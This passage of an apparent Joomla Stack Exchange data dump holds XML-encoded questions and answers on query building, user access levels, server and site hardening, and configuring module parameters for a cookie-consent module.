distance&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;HAVING&lt;/code&gt; is necessary here because the &lt;code&gt;distance&lt;/code&gt; column alias is not yet available when &lt;code&gt;WHERE&lt;/code&gt; logic is implemented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PHP/Joomla Equivalent (untested):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select([&#xA;        &quot;*&quot;,&#xA;        &quot;(ACOS(SIN(&quot; . (float)$lat . &quot; * PI() / 180) * SIN(latitude * PI() / 180) + COS(78 * PI() / 180) * COS(latitude * PI() / 180) * COS((87 - longitude) * PI() / 180)) * 180 / PI()) * 60 * 1.1515 AS distance&quot;&#xA;    ])&#xA;    -&amp;gt;from(&quot;#__content a&quot;)&#xA;    -&amp;gt;rightJoin(&quot;#__jreviews_content b ON b.contentid = a.id&quot;)&#xA;    -&amp;gt;leftJoin(&quot;#__categories c ON a.catid = c.id&quot;)&#xA;    -&amp;gt;leftJoin(&quot;#__jreviews_media d ON d.listing_id = a.id&quot;)&#xA;    -&amp;gt;where([&#xA;        &quot;d.main_media = 1&quot;,&#xA;        &quot;d.media_type = &quot; . $db-&amp;gt;q(&quot;photo&quot;),&#xA;        &quot;c.title != &quot; . $db-&amp;gt;q(&quot;Archives&quot;),&#xA;        &quot;b.jr_latitude &amp;lt;&amp;gt; 0.0000000&quot;,&#xA;        &quot;c.title REGEXP &quot; . $db-&amp;gt;q(&quot;Stores|Dining|Events&quot;)&#xA;    ])&#xA;    -&amp;gt;having(&quot;distance &amp;lt;= 50&quot;)&#xA;    -&amp;gt;order(&quot;distance&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-03-05T12:08:40.090" LastActivityDate="2019-03-05T12:08:40.090" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24342" PostTypeId="2" ParentId="16390" CreationDate="2019-03-06T09:24:52.423" Score="1" Body="&lt;p&gt;Joomla's PHP Coding Standards say:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Table names and table column names should always be enclosed in the&#xA;  quoteName() method to escape the table name and table columns. Field&#xA;  values checked in a query should always be enclosed in the quote()&#xA;  method to escape the value before passing it to the database. Integer&#xA;  field values checked in a query should also be type cast to (int).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Toeing this line too often results in ugly and bloated code, while unnecessarily calling quoting methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because none of the table or column names actually need quoting, and you should cast integer variables as integer type before writting them into the query, this is what I would recommend...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*note &lt;code&gt;value&lt;/code&gt; is a MySQL keyword, but not a Reserved Keyword, so it doesn't require backticking. &lt;a href=&quot;https://dev.mysql.com/doc/refman/5.5/en/keywords.html#keywords-5-5-detailed-V&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dev.mysql.com/doc/refman/5.5/en/keywords.html#keywords-5-5-detailed-V&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select(&quot;value&quot;)&#xA;    -&amp;gt;from(&quot;#__rsticketspro_custom_fields_values&quot;)&#xA;    -&amp;gt;where([&#xA;        &quot;ticket_id = &quot; . (int)$item-&amp;gt;id,&#xA;        &quot;custom_field_id = 4&quot;&#xA;    ]);&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the WHERE clause is happy to receive an array of conditions&lt;/li&gt;&#xA;&lt;li&gt;method chaining can start from the &lt;code&gt;getQuery()&lt;/code&gt; method to avoid writing &lt;code&gt;$query&lt;/code&gt; at the start of each line&lt;/li&gt;&#xA;&lt;li&gt;there is no point in quoting or casting the static value &lt;code&gt;4&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The above snippet is as secure as it can be written while using Joomla's query building methods without needless quoting calls.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-03-06T09:24:52.423" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24345" PostTypeId="1" AcceptedAnswerId="24346" CreationDate="2019-03-07T18:12:39.987" Score="1" ViewCount="235" Body="&lt;p&gt;Currently I am trying to use group access level code under public static function.&#xA;File is belong to 3rd part component and stays under the administrator folder.&#xA;3rd part component has own custom filed management and this file is containing classes about them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two different access level for frontend users.&#xA;For the commercial users I have tried to add below code but it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;if ($user-&amp;gt;get('Commercial') == 1)  {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is full code page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// Access the file from Joomla environment&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;class JHtmlEditRAuction&#xA;{&#xA;    /**&#xA;     * DisplayFieldsHtml&#xA;     *&#xA;     * @param        $row&#xA;     * @param        $fieldlist&#xA;     * @param string $style&#xA;     *&#xA;     * @return null&#xA;     */&#xA;    public static function DisplayFieldsHtml(&amp;amp;$row, $fieldlist, $style = 'div')&#xA;    {&#xA;        if (!count($fieldlist)) return NULL;&#xA;        $page = $fieldlist[0]-&amp;gt;page;&#xA;        $cfg  = CustomFieldsFactory::getConfig();&#xA;&#xA;        $category_filter = array();&#xA;        if ($cfg['has_category'][$page]) {&#xA;            $db = JFactory::getDBO();&#xA;            $db-&amp;gt;setQuery(&quot;SELECT `fid` FROM `#__&quot; . APP_PREFIX . &quot;_fields_categories` WHERE `cid` = '&quot; . $row-&amp;gt;cat . &quot;'&quot;);&#xA;            $category_filter = $db-&amp;gt;loadColumn();&#xA;        }&#xA;        $flist        = array();&#xA;        $field_object = JTable::getInstance('FieldsTable', 'JTheFactory');&#xA;&#xA;        foreach ($fieldlist as $field) {&#xA;&#xA;            if ($field-&amp;gt;categoryfilter &amp;amp;&amp;amp; !in_array($field-&amp;gt;id, $category_filter))&#xA;                continue;&#xA;&#xA;            $field_type = CustomFieldsFactory::getFieldType($field-&amp;gt;ftype);&#xA;&#xA;            $field_object-&amp;gt;bind($field);&#xA;            $f        = new stdClass();&#xA;            $f-&amp;gt;field = clone $field;&#xA;            $f-&amp;gt;value = $row-&amp;gt;{$field-&amp;gt;db_name};&#xA;            $f-&amp;gt;html  = $field_type-&amp;gt;getFieldHTML($field_object, $row-&amp;gt;{$field-&amp;gt;db_name});&#xA;            $flist[]  = $f;&#xA;        }&#xA;        $func = 'DisplayFieldsHtml_' . ucfirst($style);&#xA;        $html = self::$func($flist);&#xA;&#xA;        return $html;&#xA;    }&#xA;&#xA;    /**&#xA;     * DisplayFieldsHtml_Div&#xA;     *&#xA;     * @param $flist&#xA;     *&#xA;     * @return null|string&#xA;     */&#xA;    public static function DisplayFieldsHtml_Div($flist)&#xA;    {&#xA;        if (!count($flist)) return NULL;&#xA;        $html = '&amp;lt;div&amp;gt;';&#xA;        foreach ($flist as $f) {&#xA;            $tooltip = '';&#xA;            if ($f-&amp;gt;field-&amp;gt;help) $tooltip = JHtml::_('tooltip', $f-&amp;gt;field-&amp;gt;help, NULL, JUri::root() . 'components/com_rbids/images/tooltip.png');&#xA;&#xA;            $html .= '&amp;lt;div class=&quot;auction_edit_field_container ';&#xA;&#xA;            // This is required as helper for 'required' handler in js validator&#xA;            if ($f-&amp;gt;field-&amp;gt;compulsory) {&#xA;                $html .= 'required&quot;&amp;gt;';&#xA;            } else {&#xA;                $html .= '&quot;&amp;gt;';&#xA;            }&#xA;&#xA;// Here is acces level code that I tried to use&#xA;$user = JFactory::getUser();&#xA;if ($user-&amp;gt;get('Commercial') == 1)  &#xA;{&#xA;if($f-&amp;gt;field-&amp;gt;css_class == 'commercialclass') &#xA;{       &#xA;            $html .= '&amp;lt;div class=&quot; span3 auction_edit_field_label rbids_custom_field&quot;&amp;gt;' . JText::_($f-&amp;gt;field-&amp;gt;name) . '&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot; span9 auction_edit_field_input&quot;&amp;gt;' . $f-&amp;gt;html . $tooltip;&#xA;            if ($f-&amp;gt;field-&amp;gt;compulsory) {&#xA;                $html .= '&amp;amp;nbsp;' . JHtml::image(JUri::root() . 'components/com_rbids/images/requiredfield.gif', 'Required');&#xA;            }&#xA;            $html .= '&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div style=&quot;clear: both;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;';&#xA;&#xA;}&#xA;}&#xA;        }&#xA;        $html .= '&amp;lt;/div&amp;gt;';&#xA;        return $html;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't get any error on the page but also nothing comes to the page about related part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be honest I am not a PHP expert. I have learned everything on stackexchange and stackoverflow and keep trying to find answers here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope somebody can help me about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="13315" LastActivityDate="2019-03-07T19:33:41.640" Title="How can I use joomla 3 user group access level code under public static function" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24346" PostTypeId="2" ParentId="24345" CreationDate="2019-03-07T19:33:41.640" Score="1" Body="&lt;p&gt;There's &lt;code&gt;Joomla\CMS\User\User::getAuthorisedViewLevels()&lt;/code&gt; method which returns an array of user's access level IDs. Instead of hardcoding the access level name or ID, make it a configuration option in your component by adding a field to &lt;code&gt;config.xml&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;commercialAccessLevel&quot;&#xA;    type=&quot;accesslevel&quot;&#xA;    label=&quot;COM_EXAMPLE_CONFIG_COMMERCIAL_ACCESS_LEVEL_LABEL&quot;&#xA;    filter=&quot;integer&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Retrieve it in your code and do a &lt;code&gt;in_array()&lt;/code&gt; check against the mentioned method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$commercialAccessLevel = JComponentHelper::getParams('com_example')-&amp;gt;get('commercialAccessLevel');&#xA;$user = JFactory::getUser();&#xA;&#xA;if (in_array($commercialAccessLevel, $user-&amp;gt;getAuthorisedViewLevels()))&#xA;{&#xA;    // User has commercial access level.&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-03-07T19:33:41.640" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24347" PostTypeId="2" ParentId="175" CreationDate="2019-03-07T20:56:10.097" Score="3" Body="&lt;p&gt;Your first line of defense is your hosting service&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Lease a dedicated server from a reliable hosting service&lt;/li&gt;&#xA;&lt;li&gt;Ensure that you activate 2FA on your server and use a 'VERY STRONG' password&lt;/li&gt;&#xA;&lt;li&gt;Install a reliable firewall on your server - I use ConfigServer&lt;/li&gt;&#xA;&lt;li&gt;Install / Configure an anti-virus program, I use ClamAV&lt;/li&gt;&#xA;&lt;li&gt;Ensure that each website username does NOT use the 1st 8 characters of the domain name and uses a 'VERY STRONG' password&lt;/li&gt;&#xA;&lt;li&gt;Ensure each website has a SSL certificate installed&lt;/li&gt;&#xA;&lt;li&gt;Ensure each website is 'In Jail' meaning they do not have root access unless you need access to the server root.  In that case, ensure you have Secure Shell (SSH) installed and configured. I use my server domain website but have all other websites 'In Jail'.&lt;/li&gt;&#xA;&lt;li&gt;Ensure that all server updates are installed promptly!!!!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Your next line of defense is your cPanel&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use a &quot;VERY STRONG&quot; password&lt;/li&gt;&#xA;&lt;li&gt;Configure user password strength for users&lt;/li&gt;&#xA;&lt;li&gt;Setup a cron job to do a cPanel full backup and save to an external source&lt;/li&gt;&#xA;&lt;li&gt;Ensure that cPanel has been setup to use SSL for access&lt;/li&gt;&#xA;&lt;li&gt;Run 'Site Security Check' to see what other tweaks may be needed&lt;/li&gt;&#xA;&lt;li&gt;Ensure that all cPanel updates are installed promptly!!!!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Your next line of defense is your administrator panel&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Edit the password format requirements to ensure strong passwords (Upper/lower case characters, numbers and at least 1 punctuation mark with a minimum length of 18 characters.&lt;/li&gt;&#xA;&lt;li&gt;Enable 2FA for users - Use for Super User and Administrator accounts&lt;/li&gt;&#xA;&lt;li&gt;Limit the # of Super User accounts (best to have just one)&lt;/li&gt;&#xA;&lt;li&gt;Limit the # of Administrator accounts (the fewer the better)&lt;/li&gt;&#xA;&lt;li&gt;Limit the areas that Administrators can access&lt;/li&gt;&#xA;&lt;li&gt;Limit the areas that Publishers,Editors and Authors can access&lt;/li&gt;&#xA;&lt;li&gt;Install and configure AdminTools&lt;/li&gt;&#xA;&lt;li&gt;Setup an administrator URL password via AdminTools&lt;/li&gt;&#xA;&lt;li&gt;Ensure that critical files (HTACCESS, ROBOTS.TXT, WEBCONFIG, INDEX.PHP (both root and template) are set to 444.  You can still the files edit via cPanel pr Plesk control panel file manager&lt;/li&gt;&#xA;&lt;li&gt;Install and configure AkeebaBackup&lt;/li&gt;&#xA;&lt;li&gt;Configure AkeebaBackup to save backups externally, offsite&lt;/li&gt;&#xA;&lt;li&gt;Only install add-on's via the Joomla Extension pages, never install an add-on from a 3rd party that is not listed on the Joomla Extension page.&lt;/li&gt;&#xA;&lt;li&gt;Disable and/or uninstall add-on's that are not used and are not needed for Joomla functionality&lt;/li&gt;&#xA;&lt;li&gt;Install Joomla and add-on updates promptly!!!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm sure there are other steps but these are the main ones that I use on my server hosting over 70 websites from around the country.  I recently had a massive attack similar to a DDoS attack and not one website was accessed.  I kind of felt 10 feet tall and bullet proof but I know I can't be complacent as tomorrow is another day! LOL&lt;/p&gt;&#xA;" OwnerUserId="5569" LastActivityDate="2019-03-07T20:56:10.097" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24348" PostTypeId="1" AcceptedAnswerId="24349" CreationDate="2019-03-08T14:59:34.820" Score="3" ViewCount="1329" Body="&lt;p&gt;on the documentation for creating a module, the basic is all there but they don't talk about giving parameters to your module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example the color of the background or the size whatever. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I want to know is there any documentation about creating a form that gives this parameters by the admin after installing the module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My module is basically complete in a way but I want the user to be able to customize it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know my question doesnt have code involve. But I've been told to come here if I have questions about joomla since i'm rather new to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerDisplayName="user13380" LastActivityDate="2019-03-08T15:51:46.290" Title="Creating a module and giving it config parameters options" Tags="|joomla-3.x|module|module-params|module-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24349" PostTypeId="2" ParentId="24348" CreationDate="2019-03-08T15:06:32.677" Score="3" Body="&lt;p&gt;Welcome to JSE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure which documentation you've been referring to, however the Joomla Docs show you how to add parameters to your module:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Adding_Form_Fields&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_simple_module/Adding_Form_Fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a basic example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mod_something.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;  &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;    &amp;lt;fieldset name=&quot;basic&quot;&amp;gt;&#xA;        &amp;lt;field name=&quot;size&quot; type=&quot;text&quot; default=&quot;20px&quot; label=&quot;Size&quot; /&amp;gt;&#xA;        &amp;lt;field name=&quot;background&quot; type=&quot;color&quot; default=&quot;#eee&quot; format=&quot;hex&quot; label=&quot;Background&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;fieldset name=&quot;advanced&quot;&amp;gt;&#xA;        &amp;lt;field name=&quot;param3&quot; type=&quot;text&quot; default=&quot;something&quot; label=&quot;Param 3&quot; /&amp;gt;&#xA;        &amp;lt;field name=&quot;param4&quot; type=&quot;text&quot; default=&quot;something&quot; label=&quot;Param 4&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;  &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note; I've added another &lt;code&gt;fieldset&lt;/code&gt; which will show you how to separate your parameters under different tabs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Accessing the parameters (Views):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$size = $params-&amp;gt;get('size');&#xA;$background = $params-&amp;gt;get('background');&#xA;&#xA;$param3 = $params-&amp;gt;get('param3');&#xA;$param4 = $params-&amp;gt;get('param4');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Accessing the parameters (Helper):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ModSomethingHelper&#xA;{&#xA;    private $params = null;&#xA;&#xA;    public function __construct()&#xA;    {&#xA;        $this-&amp;gt;params = $this-&amp;gt;getParams();&#xA;    }&#xA;&#xA;    public function getParams()&#xA;    {&#xA;        $module = JModuleHelper::getModule('mod_something');&#xA;        $moduleParams = new JRegistry;&#xA;&#xA;        if ($module-&amp;gt;params !== '')&#xA;        {&#xA;            $moduleParams-&amp;gt;loadString($module-&amp;gt;params);&#xA;        }&#xA;&#xA;        return $moduleParams;&#xA;    }&#xA;&#xA;    // Non-Static function example&#xA;    public function yourFunction()&#xA;    {&#xA;        $this-&amp;gt;params-&amp;gt;get('size');&#xA;    }&#xA;&#xA;    // Static function example&#xA;    public static function yourStaticFunction()&#xA;    {&#xA;        $helper = new ModSomethingHelper();&#xA;&#xA;        $size = $helper-&amp;gt;getParams()-&amp;gt;get('size');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-03-08T15:51:46.290" LastActivityDate="2019-03-08T15:51:46.290" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="24350" PostTypeId="1" AcceptedAnswerId="24351" CreationDate="2019-03-08T18:34:13.723" Score="1" ViewCount="187" Body="&lt;pre&gt;&lt;code&gt;**mod_cookiACT.xml**&#xA;   &amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;    &amp;lt;extension type=&quot;module&quot; version=&quot;3.1.0&quot; client=&quot;site&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;        &amp;lt;name&amp;gt;Cookie Notifications !&amp;lt;/name&amp;gt;&#xA;        &amp;lt;author&amp;gt;Engjell&amp;lt;/author&amp;gt;&#xA;        &amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA;        &amp;lt;description&amp;gt;Cookie notifications displaying for the users&amp;lt;/description&amp;gt;&#xA;        &amp;lt;files&amp;gt;&#xA;            &amp;lt;filename&amp;gt;mod_cookienotifications.xml&amp;lt;/filename&amp;gt;&#xA;            &amp;lt;filename module=&quot;mod_cookienotifications&quot;&amp;gt;mod_cookienotifications.php&amp;lt;/filename&amp;gt;&#xA;            &amp;lt;filename&amp;gt;helper.php&amp;lt;/filename&amp;gt;&#xA;            &amp;lt;filename&amp;gt;tmpl/default.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;/files&amp;gt;&#xA;        &amp;lt;config&amp;gt;&#xA;            &amp;lt;fields name=&quot;param&quot;&amp;gt;&#xA;                 &amp;lt;fieldset name=&quot;basic&quot;&amp;gt;&#xA;                    &amp;lt;field name=&quot;backgroundColor&quot; type=&quot;color&quot; default=&quot;#eee&quot; format=&quot;hex&quot;&#xA;                        label=&quot;Background Color of the Cookie Notifications!&quot;&#xA;                        description=&quot;Background Color of the Cookie Notifications!&quot; /&amp;gt;&#xA;                    &amp;lt;field name=&quot;textColor&quot; type=&quot;color&quot; default=&quot;#eee&quot; format=&quot;hex&quot;&#xA;                        label=&quot;Text color of the Cookie Notifications!&quot;&#xA;                        description=&quot;Text color of the Cookie Notifications!&quot; /&amp;gt;&#xA;                    &amp;lt;field name=&quot;btnColor&quot; type=&quot;color&quot; default=&quot;#eee&quot; format=&quot;hex&quot;&#xA;                        label=&quot;Button background color&quot;&#xA;                        description=&quot;Button background color&quot; /&amp;gt;&#xA;                 &amp;lt;/fieldset&amp;gt;&#xA;            &amp;lt;/fields&amp;gt;&#xA;        &amp;lt;/config&amp;gt;&#xA;    &amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;helper.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ModCookieNotificationsHelper&#xA;{&#xA;    private $params = null;&#xA;    public function __construct()&#xA;    {&#xA;        $this-&amp;gt;params = $this-&amp;gt;getParams();&#xA;    }&#xA;    public function getParams()&#xA;    {&#xA;        $module = JModuleHelper::getModule('mod_cookieACT');&#xA;        $moduleParams = new JRegistry;&#xA;        if ($module-&amp;gt;params !== '')&#xA;        {&#xA;            $moduleParams-&amp;gt;loadString($module-&amp;gt;params);&#xA;        }&#xA;        return $moduleParams;&#xA;    }&#xA;    public static function getCookie()&#xA;    {&#xA;        $helper = new ModCookieNotificationsHelper();&#xA;        $backgroundColor = $helper-&amp;gt;getParams()-&amp;gt;get('backgroundColor');&#xA;        $textColor = $helper-&amp;gt;getParams()-&amp;gt;get('textColor');&#xA;        $btnColor = $helper-&amp;gt;getParams()-&amp;gt;get('btnColor');&#xA;        $javascript = &quot;&#xA;            &amp;lt;script src='//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js'&amp;gt;&amp;lt;/script&amp;gt;&#xA;            &amp;lt;script&amp;gt;&#xA;            window.addEventListener('load', function(){&#xA;            window.cookieconsent.initialise({&#xA;                'palette': {&#xA;                'popup': {&#xA;                    'background': '$backgroundColor',&#xA;                    'text': '$textcolor'&#xA;                },&#xA;                'button': {&#xA;                    'background': '$btnColor'&#xA;                }&#xA;                },&#xA;                'position': 'top'&#xA;            })});&#xA;            &amp;lt;/script&amp;gt;&quot;;&#xA;            return $javascript;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mod_cookieACT.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// No direct access&#xA;defined('_JEXEC') or die;&#xA;// Include the syndicate functions only once&#xA;require_once dirname(__FILE__) . '/helper.php';&#xA;$doc = JFactory::getDocument();&#xA;$cookieNotification = ModCookieNotificationsHelper::getCookie($params);&#xA;require JModuleHelper::getLayoutPath('mod_cookieACT');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;// No direct access&#xA;defined('_JEXEC') or die; ?&amp;gt;&#xA;&amp;lt;?php  $result = $doc-&amp;gt;addScriptDeclaration($cookieNotification); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My javascript is working just fine, but i want to change the colors. Mister Lodder helped me with creating my XML files with the helper function to actually give the admin user a choice of colors. the problem is when I'm trying to save after choosing  a color it doesnt work.&lt;/p&gt;&#xA;" OwnerDisplayName="user13380" LastEditorDisplayName="user13380" LastEditDate="2019-03-08T21:54:45.660" LastActivityDate="2019-03-08T21:54:45.660" Title="My module parameters aren't saving . and can't use them in my files" Tags="|joomla-3.x|module|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24351" PostTypeId="2" ParentId="24350" CreationDate="2019-03-08T21:33:36.780" Score="1" Body="&lt;p&gt;Parameters must be within &lt;code&gt;params&lt;/code&gt; field group. In the manifest file add &lt;code&gt;name=&quot;params&quot;&lt;/code&gt; attribute to &lt;code&gt;&amp;lt;fields&amp;gt;&lt;/code&gt; element.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;        ...&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;getParams()&lt;/code&gt; in the helper and related code is unnecessary and doesn't work anyways. Remove it along with the constructor and &lt;code&gt;$params&lt;/code&gt; property. Add &lt;code&gt;$params&lt;/code&gt; argument to &lt;code&gt;getCookie()&lt;/code&gt; method and use it within the method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;class ModCookieNotificationsHelper&#xA;{&#xA;    public static function getCookie($params)&#xA;    {&#xA;        $backgroundColor = &#xA;        $textColor = $params-&amp;gt;get('textColor');&#xA;        $btnColor = $params-&amp;gt;get('btnColor');&#xA;        $javascript = &quot;&#xA;            &amp;lt;script src='//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js'&amp;gt;&amp;lt;/script&amp;gt;&#xA;            &amp;lt;script&amp;gt;&#xA;            window.addEventListener('load', function(){&#xA;            window.cookieconsent.initialise({&#xA;                'palette': {&#xA;                'popup': {&#xA;                    'background': '$backgroundColor',&#xA;                    'text': '$textColor'&#xA;                },&#xA;                'button': {&#xA;                    'background': '$btnColor'&#xA;                }&#xA;                },&#xA;                'position': 'top'&#xA;            })});&#xA;            &amp;lt;/script&amp;gt;&quot;;&#xA;            return $javascript;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You were already passing &lt;code&gt;$params&lt;/code&gt; to &lt;code&gt;getCookie()&lt;/code&gt; so this part is fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cookieNotification = ModCookieNotificationsHelper::getCookie($params);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue should be solved by now. I'd like to share some unrelated observations. Given the current functionality of this module, it shouldn't be a module at all. Instead it should be a plugin, since it only adds script to document's head. The module layout is empty. If you do plan on adding something to the layout, the module can remain a module. But it may not need a helper class at all. Scripts can and should be in the layout so they can be overridden, i.e. in such case the scripts inside &lt;code&gt;getCookie()&lt;/code&gt; would be moved to the layout, rendering helper class useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, when building modules make sure their helper class matches the module name. Your module is called &lt;code&gt;mod_cookieACT&lt;/code&gt; but your helper class is named after &lt;code&gt;mod_cookienotifications&lt;/code&gt;. If such module exists, this would cause class conflicts. I would also avoid using capital letters in module name and main module file, just in case there's some code in Joomla that expects the names to be lowercase.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2019-03-08T21:53:25.407" LastActivityDate="2019-03-08T21:53:25.407" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
